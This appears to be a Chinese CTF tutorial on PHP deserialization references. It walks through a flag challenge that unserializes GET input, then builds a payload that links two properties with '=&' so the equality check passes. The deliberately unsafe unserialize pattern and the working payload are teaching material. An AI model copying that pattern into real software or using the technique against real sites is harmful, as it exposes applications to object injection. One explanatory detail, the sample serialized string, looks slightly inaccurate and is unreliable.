PHP反序列化基础之引用
例题:
<?php
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);//将传入的值里面含有*替换为\* 变成一个实体化的字符,
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)//进行强对比,必须完全一样,
//也就是enter=*
echo "Congratulation! Here is my secret: ".$flag;//最终到达这里
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
正常的解题思路就是:
给enter赋值*;
然后序列化出来字符串,经过反序列化后题目会将secret也会赋值*
然后进行判断是否相等。
但是!题目会对传进来的序列化后的字符串中的*替换为*
再进行判断的时候就会不相等。
这里就要用到一个新的思路:
<?php
class just4fun {
var $enter; // 公有属性
var $secret; // 公有属性
}
$a = new just4fun(); // 创建对象实例
$a->enter =& $a->secret; // 建立引用关系
echo serialize($a); // 序列化对象
?>
- 引用赋值 (
**=&**
):$a->enter =& $a->secret
表示enter
属性将成为secret
属性的引用(别名)- 修改
$a->enter
会直接影响$a->secret
,反之亦然
- 序列化引用:
- PHP 序列化时会特殊处理引用关系
- 引用会用
R
或r
标记表示
输出结果:
序列化后的字符串会是类似这样的格式:
O:8:"just4fun":2:{s:5:"enter";R:2;s:6:"secret";N;}
其中:
- `R:2` 表示 `enter` 是对当前对象第2个属性(`secret`)的引用
- `secret` 值为 `N`(null),因为尚未赋值